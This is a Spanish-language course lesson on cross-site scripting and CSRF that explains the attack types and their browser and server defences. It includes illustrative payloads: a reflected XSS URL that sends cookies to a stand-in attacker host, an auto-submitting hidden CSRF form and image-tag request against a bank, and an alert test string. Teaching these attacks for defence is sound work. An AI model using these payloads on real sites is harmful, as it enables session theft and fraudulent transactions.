Cross-Site Scripting (XSS) y CSRF
Comprenda el XSS reflejado, almacenado y basado en DOM, junto con los ataques de falsificación de solicitudes entre sitios, y las defensas del navegador que los bloquean.
Cross-Site Scripting (XSS) y CSRF es una lección gratuita de Cloud & IT Cert Prep en CoddyKit. Esta es la lección 2 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Cloud & IT Cert Prep, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Cloud & IT Cert Prep incluye 4 lecciones en total.
¿Qué es Cross-Site Scripting?
Cross-Site Scripting (XSS) es una vulnerabilidad de inyección del lado del cliente en la que un atacante inyecta scripts maliciosos en páginas web que otros usuarios visualizan. A diferencia de la inyección SQL, que ataca al servidor, XSS ataca el navegador de la víctima. Cuando el navegador ejecuta el script del atacante, este se ejecuta con los mismos privilegios que los scripts legítimos de la página, lo que permite secuestrar sesiones, robar credenciales y distribuir malware.
Explicación de XSS reflejado
El XSS reflejado ocurre cuando un script malicioso se inserta en una URL y el servidor lo «refleja» inmediatamente en la respuesta HTTP sin aplicar la codificación adecuada. Se engaña a la víctima (a menudo mediante un enlace de phishing) para que haga clic en la URL manipulada, lo que provoca que su navegador ejecute el script del atacante. El XSS reflejado no es persistente: solo se ejecuta cuando la víctima hace clic en el enlace malicioso.
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>XSS almacenado y XSS basado en DOM
El XSS almacenado (persistente) inserta un script malicioso en la base de datos de la aplicación, por ejemplo, en un comentario o una publicación de un foro. Cada usuario que visualiza ese contenido ejecuta el script en su navegador, por lo que el XSS almacenado es mucho más peligroso que el XSS reflejado. El XSS basado en DOM ocurre por completo en el navegador cuando el JavaScript del lado del cliente lee datos controlados por el atacante desde el DOM (p. ej., el fragmento de la URL) y los escribe de nuevo en la página de forma insegura.
Defensas contra XSS: codificación y CSP
La principal defensa contra XSS es la codificación de salida: convertir los caracteres especiales en sus equivalentes de entidad HTML (<, >, &) antes de mostrarlos en el navegador. Una cabecera de Content Security Policy (CSP) restringe los scripts que pueden ejecutarse y proporciona una importante defensa secundaria. También debe aplicarse la validación de entradas (mediante una lista de permitidos) en el servidor.
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sources¿Qué es Cross-Site Request Forgery?
Cross-Site Request Forgery (CSRF) explota la confianza que un sitio web deposita en el navegador de un usuario autenticado. Un atacante engaña al navegador de la víctima para que envíe una solicitud autenticada no deseada a un sitio en el que la víctima ha iniciado sesión. Como el navegador adjunta automáticamente las cookies de sesión, el servidor de destino considera legítima la solicitud. Los ataques CSRF habituales transfieren fondos, cambian direcciones de correo electrónico o modifican la configuración de la cuenta.
Cómo funciona un ataque CSRF
Imagine que un usuario ha iniciado sesión en su banco en bank.com. Un atacante le envía un correo electrónico con una etiqueta de imagen oculta: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Al abrir el correo, el navegador carga automáticamente la URL de la imagen y envía la solicitud de transferencia con la cookie de sesión bancaria de la víctima adjunta. El banco la procesa como una solicitud legítima.
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>Defensas contra CSRF: tokens y SameSite
La defensa más eficaz contra CSRF es un token CSRF: un valor único e impredecible incluido en cada formulario y verificado en el servidor. Como el atacante no puede leer el token desde un origen diferente (por la política del mismo origen), las solicitudes falsificadas carecen de un token válido y se rechazan. El atributo de cookie SameSite (SameSite=Strict o Lax) también impide que los navegadores envíen cookies en solicitudes entre sitios.
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSS frente a CSRF: diferencias clave
XSS y CSRF suelen confundirse, pero atacan objetivos diferentes. XSS inyecta un script malicioso que se ejecuta en el navegador de la víctima y explota la confianza del usuario en el sitio web. CSRF falsifica solicitudes desde el navegador de la víctima hacia un sitio de confianza y explota la confianza del sitio web en el navegador del usuario. XSS puede utilizarse para robar tokens CSRF y encadenar eficazmente ambas vulnerabilidades.
Indicadores de cookie HttpOnly y Secure
Los indicadores de cookie proporcionan importantes medidas de mitigación contra XSS. El indicador HttpOnly impide que JavaScript acceda a la cookie mediante document.cookie, lo que dificulta el robo de tokens de sesión incluso si existe XSS. El indicador Secure garantiza que las cookies solo se transmitan mediante HTTPS, lo que evita su interceptación en canales no cifrados. Ambos indicadores deben configurarse en todas las cookies de sesión como medida de defensa en profundidad.
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600Pruebas de vulnerabilidades XSS
Los evaluadores de seguridad identifican XSS inyectando cargas útiles de prueba en cada campo de entrada, parámetro de URL, cabecera HTTP y campo JSON. Una prueba sencilla es <script>alert(1)</script>: si aparece un cuadro de alerta, se confirma la presencia de XSS. Herramientas como Burp Suite automatizan el análisis de XSS y OWASP ZAP proporciona análisis activo gratuito. El XSS basado en DOM requiere analizar el JavaScript del lado del navegador, en lugar de inspeccionar la respuesta del servidor.
Impacto real de XSS
Los ataques XSS han causado daños importantes en el mundo real. El gusano Samy (2005) se propagó por MySpace en 20 horas al explotar XSS almacenado para replicarse en más de un millón de perfiles. Los ataques XSS pueden robar tokens de sesión para secuestrar cuentas por completo, redirigir a los usuarios a sitios de phishing, distribuir exploits del navegador (descargas automáticas) y modificar el contenido de las páginas para mostrar información falsa a usuarios específicos.
Comprobación rápida
Compruebe su comprensión de los conceptos de CompTIA Security+ (SY0-701) tratados en esta lección.
Resumen de la lección
En esta lección ha aprendido que: XSS inyecta scripts en páginas que visualizan otros usuarios, CSRF engaña a los navegadores autenticados para que envíen solicitudes falsificadas y la codificación de salida, CSP, los tokens CSRF y el atributo de cookie SameSite son las principales defensas. A continuación, estudiaremos la autenticación defectuosa y la deserialización insegura.
Preguntas frecuentes
¿La lección «Cross-Site Scripting (XSS) y CSRF» es gratis?
Sí — el texto completo de «Cross-Site Scripting (XSS) y CSRF» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Cloud & IT Cert Prep, actualiza a CoddyKit PRO. El curso de Cloud & IT Cert Prep incluye 4 lecciones en total.
¿Qué aprenderé en «Cross-Site Scripting (XSS) y CSRF»?
Comprenda el XSS reflejado, almacenado y basado en DOM, junto con los ataques de falsificación de solicitudes entre sitios, y las defensas del navegador que los bloquean. Practicas Cloud & IT Cert Prep con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar Cloud & IT Cert Prep?
No se requiere experiencia previa. Cloud & IT Cert Prep en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 2 de 4.
¿Cuánto tiempo toma la lección «Cross-Site Scripting (XSS) y CSRF»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de Cloud & IT Cert Prep?
Sí. Cada lección de Cloud & IT Cert Prep incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Inyección SQL e inyección de comandos
- Cross-Site Scripting (XSS) y CSRF
- Autenticación defectuosa y deserialización insegura
- SDLC seguro y herramientas SAST y DAST